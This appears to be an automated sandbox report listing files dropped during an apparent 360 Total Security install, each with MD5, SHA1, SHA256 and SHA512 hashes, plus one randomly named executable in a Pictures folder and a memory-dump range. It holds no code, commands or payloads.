C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\Utils\DesktopPlus\Utils\search_file_type.json

MD5 28b79c423115a9f4c707c22b8fd33119
SHA1 61d190717506e84ece4bb870562e8b8885a2a9c3
SHA256 d1b7bc9a125cf0ffc0996bdedec5e1fa724212fab340103ceb5bc1be3c25e686
SHA512 4689fa3e9db913cc2f17488a110d6b56e434f686c830a42caed51e5a545ca15eed83436c4073e1fdc8cb9e4b88203e0f9278006c5c1376c22a6b2d2608930f41

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\i18n\en\AntiAdwa.dll.locale

MD5 3e5c2d008972836fc07e8a49b8bc237f
SHA1 93800eef4f391c97a6ea4bcee8603df850f8a02b
SHA256 a03c604691154e436eb21a7eb865c98baf33b83af18570a000ea31ce4ba844df
SHA512 6c6db8bbe7eafc2a063c77b8ba7eda2a2ae87dcc98a997e290462e987ea3ce2872613d589272b823825bfda87ea83251672fbd30e705289f74e13e0fcf99e3c3

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\i18n\en\Dumpuper.exe.locale

MD5 880e5c62a78e5d11c9510f0a0482cb88
SHA1 e3b8b36176063545f3ece610851c4418bca6a55a
SHA256 87c1dc55f5cd035c6d880d14158e0dbcd193d69cc331001ec456b5b8dfc1753f
SHA512 30ca326a95a37873dcab2f15edf69fd80cb6d35fac4501b23e3c8593634eabd0851ab33cf23bc16dfbeb83047db30d9cacf57465af564dbd97eb37e7aca181b1

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\i18n\en\safemon\udisk.locale

MD5 2e58b2b687db6fb6cddd3bdf2a875ffa
SHA1 f4d700de450bde53877b824a1021dfd9b52f045a
SHA256 254161d567ed1ae96756809932715790f4bcc5851eba123bfa6942b2b2d1eb1f
SHA512 258f10fb5f61ad672edbf2d719e365e1dadd3854f8ae8abf4005b70324ddcc9cf2c5aa9156bbd9204326d72bdc1b203d2caf06970b177964fe248c2d90859154

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\i18n\en\safemon\UDiskScanEngine.dll.locale

MD5 045e32511a0e333477ffc2361c3b589b
SHA1 47eeacaa6381ba81e90a78dcf67c327b9f17814f
SHA256 649ca00ba71a5f725ce94baaa4996a8c202103b1821a3529e84c20a8d882d35f
SHA512 3693769973d463664d5486a22ec42d8ea722abd3998ab5c6dec4a7656411bc90fa3b58a0c01e5117840c2e8025ad2ad9f81bc86b58635ef22cc267bb3781624e

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\config\newui\themes\default\360searchlite\360searchlite_theme.ui

MD5 63c5291258ff6e9ebab439096bd20936
SHA1 2dbac59459beeed1f8e409a628f04b92adf57124
SHA256 d83d1bf6aa9a21b4c57973548450b3b2da43bdbcb2e1af04e3aeabdf9d3f5f92
SHA512 a1823add3da1a516c56b5a4af54193e46d18dea47201cd3ed0db7aab91c03eb872074dfeb90f65cbce58bfd63ec94bf10f7504c3cd3eba9021d0fa69fcca4542

C:\Program Files (x86)\360\Total Security\config\newui\themes\default\default_theme.ui

MD5 2fb109ab0459027cabd72f267a6ac333
SHA1 bdc77184595ec35165dfc4c1858e643efeb0b45a
SHA256 ef070cd93ce6e055f0651b83113d736e11c6a57352ef471aca794c5bd9167e69
SHA512 11e9f8d77aadcc0f0e03ee82330b547ca379961f25c1413aad6d00161ef8877268519d9e18c7bb7ceed0c079adeb061418a74b16df6b4397db5b836925fb5036

C:\Program Files (x86)\360\Total Security\config\newui\themes\default\DesktopPlus\DesktopPlus_theme.ui

MD5 e20b0d486caa3911ce0c425b5c8746f5
SHA1 59c181d2dfacc07fee7001adbe0f6301db18f553
SHA256 ddcad9ae427569f62da3215069239578f34efda606c0a175a1801a91d92b987a
SHA512 d992b1d908a8ec4140c7430e1f0d82ddcb53ae21113df797e19afa7f515c9c074385997471a6d0a0293db916592e705bc7c56a89e557f3d87a5b4425f5588941

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\360DeskAna.exe

MD5 9c914da5ba91ec1854effa03c4ef6b27
SHA1 a2dfc7d70b5fedc961b0bc6126962139bc848ea3
SHA256 f78eee64134aa2fca1d6eecaa8ad2c3bf9e54c232554525ac4783768daa677e1
SHA512 266efe7361a4226a5fcf81fd11ae96f7131e8911adf6955423bf054d825c210b634bd1a2ac2f112c5b85fda9aa1b9ca07e3646179bf9977724bc5b4e9e7dca42

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\360DeskAna64.exe

MD5 4b26b4b4f38fee644baccefc81716c6c
SHA1 6036d5f882e7e189859e58fbbd4421a2b09b58dc
SHA256 48b9596b3c7b1af2c0c5cd62a815f7e43deac03ae3e91da26e8dec2891c915be
SHA512 76d2235e29a906c8973374d2ec3cb549222d431695daf6ceda2aaeee95fd5bb35dd57d53a73d9a7be04fe38d10f81eee398bb81bf3c104bd0fc17e871d081a60

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\Utils\DesktopPlus\Utils\360ScreenCapture.exe

MD5 050132ace215b38e8311e8f3fc11a6f2
SHA1 ccaecaf99d9b8acafd1632e3735b89d567af5112
SHA256 234184ee1c37f28ef75a950501e91d6b55c829f66b96696a1a8e83a09bdbe883
SHA512 21b4d364a3ea965adf7a697f70f64ad6ca660bf0bc6a664dec00918d4529bf647b36e2f3268ec0f59d7b51f3b6c55d573d45ec2026849dc51b376dc59f59e736

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\Utils\DesktopPlus\Utils\360searchlite.exe

MD5 85f76a8481c642654ae58caf6d1b35a0
SHA1 5925a1f3a265311e8d818407062ddf5cefffac3f
SHA256 81399a7379aebbbfbce8d8cbc2d482ca04c38ddc91919ae5c6ee3a0f8fb3ea9b
SHA512 7da2f2550b4bcad5a5df5033c44635722724ed68fe97fa9e383032432283ac43e3dbeb0f4080368f86d2e2b54b91a166f5e6280c35f0ae7e8af3e31c478fb48d

C:\Program Files (x86)\360\Total Security\Utils\DesktopPlus\DesktopPlus.exe

MD5 7186838bec4478b234b432d264658f10
SHA1 5ce0f57d2d176e89fd345caa30e1f0de0f63e24f
SHA256 e2fa4a52ffbec327e8678fb584cd6573c7966737251e6aa3cad113d63c3ca0e3
SHA512 6f1ba31675177c0aae4bc9cc65690b9f52abe2292173d7a12bf8816ada6593b9546dcb7e27ccec4b592ed42cad785e0572a8b4dbff2978c1d7d0dc0f5cdd9d3b

C:\Program Files (x86)\360\Total Security\Utils\DesktopPlus\DesktopPlus64.exe

MD5 addb69f9a976b47243ed7c621c7e5c10
SHA1 6f0d78c32984b7dc764df183b76802f2c2203a11
SHA256 40920438eb1b105449b565d669cbc7f74a7c8499a1ebdc683bbf62499c222a5f
SHA512 4aba4c7ff23371d667506da3a2d0c9bbc165070f7e2a66341b27eece3301c3c1723f96850d8266859c144932232ca1b4de1057883ca0cfd9de026a492344c953

C:\Program Files (x86)\360\Total Security\Dumpuper.exe

MD5 bf7d946721599d16e0fa7ef49a4e0ee4
SHA1 74c6404d63ab52aad2e549b8d9061ee2c350ac5a
SHA256 5f21575642ecf7d38be30aef50be623f74dc3644603e0cb48d1b297ae2066614
SHA512 dd8b5e8233033a3ddb30278b2b82c60925bbca63edb68aa1e23c0a6a8f0dd8da21f60846c747fea83be7ed1e99ed86379ffff7b6aefde5ffbb85e3f98732725f

C:\Program Files (x86)\360\Total Security\360Base64.dll

MD5 115ba98b5abe21c4a9124dda8995d834
SHA1 5dd5cae213a9dbe5ea7729c1d2acd080f75cfa39
SHA256 80765adb886050b0f87e30fa62336985db67c09b25f4d1760194a28ff78899d7
SHA512 1c415c07dd59ef00c7bdcef35ac8fdeea88b6f482d266cc12bab3d4d3005a76eebbe97d06e5282e1dbe940ab2971ffdcbd0db2cd1d700c33805cf1831efe1a3d

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\sweeper\360FastFind.dll

MD5 05a04412b0a86f848eb92a97e81f3821
SHA1 a6495836bb9915eec2c559077a44861d2c5c8182
SHA256 45a9d2180bc3a6c5716a5ccbf74b14d9e91fa706449aae4046c0835cc672f5e5
SHA512 9074ac8882bcecafe4726ebe9625b57ec4410cc2f9a8293462287c76f0904b1b9d4ac181edd99a3e525a36b307497b3242390fe19d41ed2420b3d70682e67244

C:\Program Files (x86)\360\Total Security\360NetBase.dll

MD5 14c6b4bbd31f6fd13530bc941cc71d1a
SHA1 ce4e38ac82a54f64d318507ddc28f9ffbb378f0f
SHA256 401d8529a84f1d80a439be8cd4e869202162458e5afb5e5bac97c4859bfe8eb5
SHA512 c16d525f1d3fc098b4d6c8b8a872a9013ef2f945f27af73ed7826f61a2b80d756ae5348105432909eccc71f03834cd1301f87fa5a0107e0c7137f5c8e3a3cc95

C:\Program Files (x86)\360\Total Security\360NetBase64.dll

MD5 869470ff4d2d3dffc2ef004a208fa4ac
SHA1 98b2e5b7240567b046b47021e98c84702a39347a
SHA256 ab52fff1840b010a1e6be5e432c44ca0aa2857d5da3df6574fc0fbc0004edc7a
SHA512 f7994f656fc52d5c9ff24d7746d7b36da6a749bdfeb06a24b17cb762e50bff1fbc9f4ae3e4ec884b81776905c870e70cd8fe326b2f3d21a3d1a866b274f369e2

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\360TSCommon64.dll

MD5 40e115b8b079bead649964fccab4b2a8
SHA1 e2a80de5244ebf4007de8a74cd0003055ce87656
SHA256 a4a6473251bcfff7944d7b23f823dfdcb150a7353b1f2a54e20a3e2fbaf03e07
SHA512 b73cc36bc808ce2c1c3280205bf848a51faefe07671cf8a6e6bb7e91fa26522069a82ddee3fbf68a3e89318b1ba0a8784b1a4efce9d163c606033e78919b2db4

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\360Util.dll

MD5 d9a8493f1ce7b60653f7fb2068514eff
SHA1 c8c0da14efeb1a597c77566beed299146e6c6167
SHA256 77cee2e41fad67986c6c6e1426bc6bdaa976b1dcd3b24f381376b201d201581c
SHA512 0b500630e13aefba621c0f66aef5f2528c0fa0c91deaf19e92999c6377908f53f3a6b23fb90723b890155877ab7b8b40eacd851794b23ff213cc33013734415f

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\360Util64.dll

MD5 8b14a80d926ffdab593b6bc0b002b9c4
SHA1 c84c938543ef6d2c42ad0c61f970e3d1ccb3be44
SHA256 669a13733ce62edac298f91f957ebc7c748918d07c7730e94fd930d6141f8078
SHA512 d049f415db5dc5c38a968251e72930a8a90e126617f514b0566f203435ab8f1e96371c2c8f0f40cc60dbcd48b284bf46369d377eb4fa61e4fec6def054bbb744

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\360TSCommon.dll

MD5 fd9ec3f6ae3ec4e72c7d8adb9d977480
SHA1 304b83eb514354a86c9b136ac32badcec616fed8
SHA256 deddae3c60a724e167107cda7d4ad0481d8ab451f61081eff7730d0f114da918
SHA512 22a47674c2000c175594e8b9f95d23665481a2f2c84f8870a4ad58095aa107b9a0ba61a5315ebdfcd1ec6a4b3031bb3e21ee6e2624d57daae20c587592cce5fd

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\CrashReport.dll

MD5 94a08d898c2029877e752203a477d22f
SHA1 d8a4c261b94319b4707ee201878658424e554f36
SHA256 07ed1d3443e7f9b2531aaa0b957a298ea6c5c81bcd321e7faf25a17a85063169
SHA512 79a2e121665e403767e5278bdbac6c52f6ce048d0c3968a2fb5053229c5d98e9275acbc48806c45b8bc2e807f6e52ee4dad54924b758db8328fb262c6fd176b6

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\CrashReport64.dll

MD5 f0ec259bc74b69cac5789922187418b5
SHA1 99e738a12db4a60ee76316ad0a56604a5f426221
SHA256 09eafeda04f79fd1faf273efe104e877b719fb31689838aa12a3e6d3384a3da4
SHA512 630cf0a30961af6d41d24f2d2fc81e0c10c99e19241aff7e14aa38317eebbe01e5d85c1cb5848ecfd7b75e2fe762cf4a07fee781d052b48f0a3c15a37505dac4

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\MenuEx64.dll

MD5 d569954dc1054b6e7d3b495782634034
SHA1 dfaf57da05704261aa54afaa658d4e61a64fa7f2
SHA256 11294e063fe9a5d5b6019a39b48bebb75f536e27ff92008c85e9357c95805b80
SHA512 b12e2a6cfe849b5df21295f4a538db0381f2fb8c63b8b4dfca9778af16c68d23336140874a64deb324e39da0ac52b1f2292812fd02967d415319ade1ee965b6e

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\MenuEx.dll

MD5 273c2d00588d203a9f1486cabacc7c57
SHA1 cd7782e5836d645b2244bf30fe91c79fdcfc86d2
SHA256 d14d7de52c5749549a17e7614bd3df8278e8595ffca4110e6289c56a21eea6dc
SHA512 6cf37c151a21447ac35638af22f6324ed0c10df736e5e54be279b5db8f68da86d85ef6fdfa3b4a22b2ccecd98dd37abdc93b9e8f391a3a90deb1e4e4990c1779

C:\Program Files (x86)\360\Total Security\Sites64.dll

MD5 4bd489f48461de0098f046eeb0fcfb1e
SHA1 047c39f1b52602eb19655c4ce42d67e8aaabeb9a
SHA256 e751410539c790554ef7e3f198689b61ed06955a608dc1fcb392bb4b7fe522c6
SHA512 a97929d19b9fba341bc52bb96eea0c97a952f3ed2e6cf233cef9b38b3fd678f0b85c1703fe4c0d6f9c6ca3e6577716e564f92e9b36f7806ae0f5dc3c15f9caa8

C:\Program Files (x86)\360\Total Security\sites.dll

MD5 d43fa5904a62445893fe1db320ff2e7b
SHA1 2f888949e9c3ce0f647b97ebc8289ae3f2f2eaae
SHA256 074f19878542b07060bcf7a10238aac2571eda75f6596fed6a0a1f7e884f2305
SHA512 1589551e1b5f2c8794f56543eb472c1a801f6dd6b338ffe406bf91bf39061a9022fe13c9a460589a42f243f5329193ff2ae32b1112252fc78d0321c68313b34c

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\filemon\360AvFlt.sys

MD5 86d92ff1f211f9704d0a5ee744dc5c5e
SHA1 21120d96da72b7a592dfdbe918e2dd8656f0cd2d
SHA256 79eb282821aa728f0fdfdb07a1fba273af83768614e026bc8e371655e398bd50
SHA512 b547eaa0b43ccf1af913c94ac7831edaf45d15428fd017d8f41cb8942156a453c381d4526a0b51f343093f854b4c5fdb716bdaa366101ce652cdeeb83f5de2c9

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\filemon\360avflt64.sys

MD5 12426837392e278838d1501a5f324398
SHA1 3be22df43e2bce3690c92188a76fa33a8a581d69
SHA256 4fb3cfbf91bc27e867d8f58081ffd3be361481e2270627825cdfd13eef50ec1d
SHA512 28ced26c8acbe9177ff01fb24d7a8abb34f37a0748824508f86a75b162f17371f02318eeae4f27ed183143a22af01c57d074f3b444621209d573aa323071c7f3

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\ipc\360Box.sys

MD5 feb5d9ad5a6965849756344f9947a772
SHA1 5e24761e4e5b7d6c116c0146ded4851db55c8f7e
SHA256 f3f3faa4a6ba4e81271e25e99badf4318b84637784d563a84a017c5f46ce291e
SHA512 3110f5a76e5967942348bb13a669ff03c21beb9c62405c552b530eec8060a9b304d76f990ff8c4cecf67a4d1f66e6a32a7388a951036fa641fa98679c302b9a0

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\deepscan\360FsFlt.sys

MD5 b372e31c719a47b08fe4d377d5df4bde
SHA1 ea936fa64b8d11fa41825f07c2ceeb886804956c
SHA256 8d21a430b38d74157f5d73f8dfd4d508c2fff7f2945fa2987794f656b3acb58c
SHA512 fc2962127bb84aff61239fefc060c002edb6560e11a5e7d2d0dd6d15a431200eb5ac988867988ddd84fd5da241f6bc4a1319ffa83cc9ce7d5691e7e5c4170625

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\ipc\360hvm64.sys

MD5 37ef2ad85bca66cf21af216ab4e35707
SHA1 1569cb84354ed47f97844833807ed5a07dc5df92
SHA256 77faaf6c67ab95db1615275410d2dd611208fce0e80771bd009cf0f8f98cf74e
SHA512 e2b85223b86b8c339a2794f3e30f601c877107c5a7555ea33c173e6a79c3626a623283249d8a62fb405fdfd54ec4ebc802977d74533d8fe3ef41fd97d231b035

C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV.sys

MD5 b7b91b32156973711fdba826e2fed780
SHA1 0caaa4c4b12801ea1dcfbc9bb46b5cc49cf74c2d
SHA256 2d7fa3af97a50240dec7540e4171772912d1dbb82259ac4acf039818417cde5d
SHA512 8ad87c80012fe9645514df956a22aee79749feac87b199c4a89f030544a49bd5c51148df02885a794d20056bef6091947c3bb61dfe60bcabad71e3969a249967

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\deepscan\BAPIDRV64.sys

MD5 992de18c7b0d80d7b8531b90c3910888
SHA1 173c5c2afa64ce8b8d2243b5baa5d4a77c996e17
SHA256 edde2232716629c09ebbf6a5ddfe55fc8bc2edef91ccede9104b3186ffb170a0
SHA512 98346c390d9b64360c70b7c5780efb62e856f03e19d58fff433461cf5a2d833fea847267db1b72cf4103e9270f56b11ec542b15fc46e4a01233b8327a6878936

C:\Users\Admin\AppData\Local\Temp\360_install_20240531010751_259456432\temp_files\deepscan\dsark64.sys

MD5 b498f27ca312db96a0cbe6b7405b2027
SHA1 d35c9e5bcb3df23855130b783ea80fea8653a097
SHA256 34257623c1c563abf99085b4c483a672945bd6059009eb001266f003f315b356
SHA512 42d6315047d76b43bd2187f45c2f68182fa2b0e803be8989417e8637c1172391d00c0b3a9b6227852bd4d31a72a661a19e074e163ef04ba2e031b2b4df942586

C:\Program Files (x86)\Common Files\AV\360 Total Security\Upgrade.exe

MD5 c7dbfd0d17929c83f12080eb4680595f
SHA1 210f608a7929bf4085815522ffe2695063125e69
SHA256 a628b37df526093026862a1180484beece436b5dfba83648551fe57ce9a5dd75
SHA512 7d8d5b387cf65920e7a1f2aa7c0ce111eb5d600fe69ec48c66f3bf05c870dad0e34d9637b1852af0f379495bc3ebc277d130d14701e2b4114f8d50bab057c5f3

C:\Program Files (x86)\360\Total Security\filemon\AVCheck.dll

MD5 0fc2f13d9e0cfbd4903a77051348d16a
SHA1 c1df2fe56cbd15271020e48751c39ab482f6eaca
SHA256 7b79ca1ec9ea05d6549218af8c646f8cb25c563e66d810ca8890340066cff72b
SHA512 6977514116a2fa2c0a884b46975cfa048d966448e493c1415467d6be8719c6b40db0181a861f9e0ef53aa90a3b04012e02e6aecb70230745c487355170416efc

C:\Program Files (x86)\360\Total Security\filemon\AVLib.dat

MD5 e3bcd970502ec0d7ebb03bfb2c4a3bab
SHA1 5da1058a0be57b048a2c1b3442de44c576a4c913
SHA256 2265a0b291d07eed46ff162f10dda492aa62aed8ea8b5b6146cc995e15dcbab6
SHA512 b5fabe8a300baf6b3535d19091438aa7ce647db286642c9e1a8635fc11ecf488eb6f2b5734a01a3072fe5fd7a16185d2272a51f657a4bd78c0ab8fff9516709b

C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe

MD5 08063da816c5db77ce64807c4ec2f7e8
SHA1 61ded712f36458ba6ffcec37edbf65d5927d2d92
SHA256 dd08b1356c9b9bffe1ae9c254d28411890204e5b8fe1f9b9af0a7a3e5b6ed61e
SHA512 df74cef767efde4711af6e40ef82801d91c4f1b5805fb0411235272a62fd08204d39153d4ae2056880d9d3ceaaae9c8e87254ea57d35a83bf501ac5be721c5f0

C:\Program Files (x86)\360\Total Security\ipc\360Camera64.sys

MD5 d85dac07f93d74f073729b89dc339251
SHA1 e628f85f1365d9164140391cb93a2b22a4fb8ba4
SHA256 5b64447141ffe714f04a4ae489dac020b5ca0c31011c8edcc22da8cbfe265256
SHA512 896aeee641e5ad5df74c16ae8bed9c0f9ef53034c391b47e5c99540a3da58bbae9524f0bcebfa93f395b7b6e6a0ad1100e27f19d05c796abb1da6660a3b35da2

C:\Program Files (x86)\360\Total Security\360rcbase.dat

MD5 fae24f818a5721a020be0c6cccde118c
SHA1 8480eab0734e8a3401666dfb9afc392a253338da
SHA256 01d6c6cdae2f16aa0f502b6c03e2db4b21b56b55599f2223e3eea2b6129ca17c
SHA512 f9ec5f1d81981410592a2b77be30eb40bb7b9f1702368bad69ed8535999b496a604fb522af4cbc8eb840049a7cc814ce96d5e4e979b4335e396503a93fbe53c2

C:\Program Files (x86)\360\Total Security\ipc\DrvUtility.dll

MD5 bc8917f469a0e356c015ad6a31acc134
SHA1 a2e0fbcff53018ed92754065beb0a16e35339cf3
SHA256 4f798cf1e27dd355709c4ebe11a24b17ee832b4051f8952d9ae12942e0ccc5a9
SHA512 f9039ea609c18174dd76f5a89b6af4908573fe194cfaf412430c755da0626dce7b92f668e5cac6b195c91f17cc4eaf4ddb963b95bc6de7483c05436f7f4f59c8

C:\Program Files (x86)\360\Total Security\i18n\i18n.ini

MD5 dfc82f7a034959dac18c530c1200b62c
SHA1 9dd98389b8fd252124d7eaba9909652a1c164302
SHA256 f421332fd132d8405cad34871425c9922e4a1b172d74f86b9e4e7ee750205919
SHA512 0acb2a043303ab1c033313d62b9b4dad8ca240e345195c87776f99f129a93946036835872b336a8efd996657c37acf56da7c01d68add340408e8fce72fc66fe5

C:\Program Files (x86)\360\Total Security\i18n\en\UrlSettings.dll.locale

MD5 627cbb9d1671cd7a553cb9e59e765bbf
SHA1 4a4916f14c4ca7d26dac88ff4a5884761d8c5a70
SHA256 063e660b1e32cbaefb8b928f1fa638853bbcb6b996bb08496fc861fc5425a840
SHA512 cfe0246353d9670ac7d77994633e8c55aca4a3ecc889c52d09949e427d5e5e06056678de15ecc3017af81ca6ca1333f624f8652a7488dd4e317c6a46c8719237

C:\Program Files (x86)\360\Total Security\I18N.dll

MD5 7e181b91215ae31b6717926501093bc4
SHA1 8fcf05c9ac64c46c87acc1ec67631e7b66363d9e
SHA256 239824a487ae786daadc9e556c185561378f47ec7ba6b216c17242aea3a78ff9
SHA512 0df684bdd9c0a5cce81db692e336dcf3e8c8aec80d5d6fb8620227e2f31d5bfd1d63f9cb7f808cb9511fe483e7798fa6d5a51c0bb1ec3c3c86400767a17a155f

C:\Program Files (x86)\360\Total Security\QHVer.dll

MD5 63a88250295528135e6ee41b0cbc255f
SHA1 15f146685c055360346e47e892f96238e6173489
SHA256 0463ad6297e656bbb54e5d0708563fd535019c79bc0520d727a9f8141e519d90
SHA512 eb6cba7d91ddc343c7e57479c6b17baa046a0263cbc7945dd1bedd0c39f2240bf38528c45b253e149fd628465ac3fecf29ab3ff3c1932d856ffcd0ee842c2cdd

C:\Program Files (x86)\360\Total Security\filemon\360avflt64_old.sys

MD5 f14d2b6d2d2028ca0851a604cd69c408
SHA1 54fb598af2f9ec109973085322e5b79254856560
SHA256 167b31798b2bec91bb60eb64f50300a0c5e1605203349817754c6be161a84539
SHA512 9dda7ba6c320f7dec35bb118c792fa6c56ec5c32610f7d93776f4bbb0a031be5a7394cbe8931608faece0a855a26e927b2ffffcdb005be6751e07add4f19b49b

C:\Program Files (x86)\360\Total Security\filemon\360AvFlt_old.sys

MD5 e855e9039f37523e6b01e05107cefeff
SHA1 c0882da58826de9fb9bc95c929a73fb71735fd78
SHA256 3b81711731e79ea45c3545b599f3ebc21ced95f608694332892c918e6b2faa17
SHA512 c3c56ec6a31f9c0a49b195b2e503659c61b47cf556747ebaffe6fb9f8880a8bebae84ba12a749ad0191087bd3e843ed99c1ec74f51744a3743705dbf46c9c325

C:\Program Files (x86)\360\Total Security\deepscan\dsark64_old.sys

MD5 a4c68afa8fca59190ab429ae631399fd
SHA1 2a4e3d62661e564468e4dfb99761de099434e3e5
SHA256 11be27f2ba0af548e2fd5ad7baaa5ac3e10b928b0742680ab9f673d1ebf31521
SHA512 2e3d5381649b8cb97179751963b572ff4f828d581b1e87df0cedf5ed51f76235db0ba4e78087562ac6f9f02f805b9ecafdba53a1b4572363829211643d4f8fef

C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV64_old.sys

MD5 92250774eb2f9dd1316fc5dca5a1d375
SHA1 df62deaf0a9eacdd74b6ab1c03767a4cb7af9221
SHA256 6edb05bc886e30adba4164cc852eb089630d936f106a5a29f4d30727f1a6535a
SHA512 bf68a4955cc09d20380736bb78b16f15ac85a6beb6af5065a640d7545707f573a17a5aa0f6664a2b8f2cd7bf0cceb186f885210c8a07fc5d185c030d01793fd1

C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV_old.sys

MD5 98ee79b8e82c1da453c71a6f9380d128
SHA1 7e9178bab13a14b4b5567994ada35d13fdb2b1be
SHA256 dc346a2acb7a340a3ebfec2ac684254defb66f5485726d0ef32b51a3247fab83
SHA512 60b4b163a4579af0e39f594b1fafdfca09cd7cb99c598cc708e841be3ac13ca56d1c6c2a760119060f82191e26819e6028ca4bd76cc25008a476f6b24e11acfc

C:\Program Files (x86)\360\Total Security\deepscan\360FsFlt_old.sys

MD5 cd20d1dd4eab42c47d1ded235f97329f
SHA1 a4a21345c840854e3798a008d244db53217e42d7
SHA256 4df4e20bd4062e8971d85e8145b0b91b60922ec9f007702ba2b81d08029ba8e3
SHA512 67ca599dda7c69fb1220265e913b5b6456c36a67f148e7d58fb7c78e20afad92ca4e628ee9e484de91235c898e855d96edb93ad186099753317585fc20e3c01e

C:\Program Files (x86)\360\Total Security\ipc\360hvm64_old.sys

MD5 f93fa692aa3658422997643f51c1b7d8
SHA1 d00ddf850a7f937d1a75c401227a70fd80718171
SHA256 3c9da5ab28427405bf1099c1e7c3e77683c658c0c7c5fc458f606f368e7c6fc6
SHA512 b30b87b49f0155f2e310730a71e39de041b74d2aab53215089fc61be700854d5576c540eca34da774c358fd89e516204be14519576e2946a05b1f90318659745

C:\Program Files (x86)\360\Total Security\ipc\360Box64_old.sys

MD5 69c04d5da61c59c89bbd36cbaa13e9ae
SHA1 0369967f432d623a1fad7c5c1a7405104faaba44
SHA256 23283e2c2bd6ccb04436c90037282dd103bc8add9bc62e9f5d34842e2e336b11
SHA512 3bfabad5b72eea44af705a3c482e7496e6a1547e0ddd429740a6d69e81895a651c87ea3ce6b53ad0ab6f2df331516ea80bf1ae47b02d6becb01e4d9f51ae4024

C:\Program Files (x86)\360\Total Security\ipc\360Box_old.sys

MD5 df38750f3f3e205e8795724d970189ea
SHA1 442952863db2e6466ec9ca116b1ce85876100a89
SHA256 5d90f8287ad1ccbc6e6c3c656b1a84467c50801590d8f730c10b0d106532294c
SHA512 9311928c6193f11ba3778b546e0081062998b9da4356529a341971cb343af0adeaef8e4099adcf4dc8905b68dbe8cf86d43cbb2690d64d328c21631803540b4c

C:\Program Files (x86)\360\Total Security\ipc\360AntiHacker64.sys

MD5 0e93f09b4e51c6a8a66cd1c9ceeb8ff3
SHA1 b868b7f8fd150cdd3b5d569738154e62350aef5c
SHA256 66152d1316b674a95ee0bd63844e6acb5a709a177934814aede80166bf2bc204
SHA512 c5b9f574d83f81b58147056f94ba82deca63195a2454db6f5196057e91d3e7fac15c94951c4e7bb14d3f2aeb2a2eec4230594646c27280abab58df3f9e4ef239

C:\Program Files (x86)\360\Total Security\ipc\360hvm.dll

MD5 e540bc23b3f5934dee4d7b7b39fc3ac2
SHA1 465f0b0e4fe49b81a43980dd0cf40e068e98abed
SHA256 e794c636a50b5f51e0bd233c59c9144277a94792d3537460123a39c583d01421
SHA512 39412ddea1f7b16ae1b6d89db7f7c24b92b1b310f3d9191ab82bfa01283044d3c4e991a5fd4efee98d00c1e65d76328bd396138e5dfc90f44ed49ed605f8e764

C:\Program Files (x86)\360\Total Security\filemon\360AvFlt.dll

MD5 da5e35c6395a34acaa5a0eb9b71ff85a
SHA1 5da7e723aaa5859ab8f227455d80d8afa7696e22
SHA256 5e11c25e4d6e146c5e10fcbc21b2cdb5e97ec47f25c416e5d263985f3d964172
SHA512 49660339594abff9b0590bc3f401634a514834cf98fa8715b05a57a3cea575d74859681984d8c2c601d5fe947701f8f110450fac764a5d32096e24d7eadcdd2c

C:\Program Files (x86)\360\Total Security\deepscan\BAPI.dll

MD5 42e36cea45fe07a9e7f9bbd1b60511de
SHA1 7fa1e6bd83a606349e159cbf523ba0bbf47db20a
SHA256 e6243a7741708b911cc0c5233fbf1572309f372575c337116878a430740264df
SHA512 0ed13f6310d7bb337f8184069baf0800a5ccf8b4dcfbd7800873ec641c0de71e129d45d66fd47115b2d1c2ea56995b155a1d08d9b9bd0aad33d1ddd97f35bde1

C:\Program Files (x86)\360\Total Security\netmon\360netctrl.dll

MD5 30c9d5470142edf4d69b00aff040f822
SHA1 7c21ed33749b58c10ad7e1d95c922244eec62fcf
SHA256 b76103ff3d6faa46537d3db213270a086ae3b5b58fe6841b03cd5f9f73c54247
SHA512 c385b70414823107903fc1eec608b064360337114dc8a6d307f2caad9ec5ec7e53a2850f26b5374deaa97b2c727206f08a0a2037d12550e6449632d165b03b7f

memory/2660-5470-0x0000000001170000-0x0000000001642000-memory.dmp

C:\Program Files (x86)\360\Total Security\netmon\netdrv\x64\360netmon_x64.sys

MD5 b1e1e8c5420ca5d39a3868b4cf0251b8
SHA1 b70587c35379206fcdcc9b368567425bebd3b171
SHA256 4f622357bb25b9d0c211fa2472b1d2abce42c2fcb763bce6cbd89f7afe42e83c
SHA512 c3c5dfff25d0bf33850550c85177bad1c78fa5d6f5bf8c1adef5e7e89f5adcccca5e1410ed7741331f08ed63f53e2e28224aab9107ee5f482cc283b9ecab884e

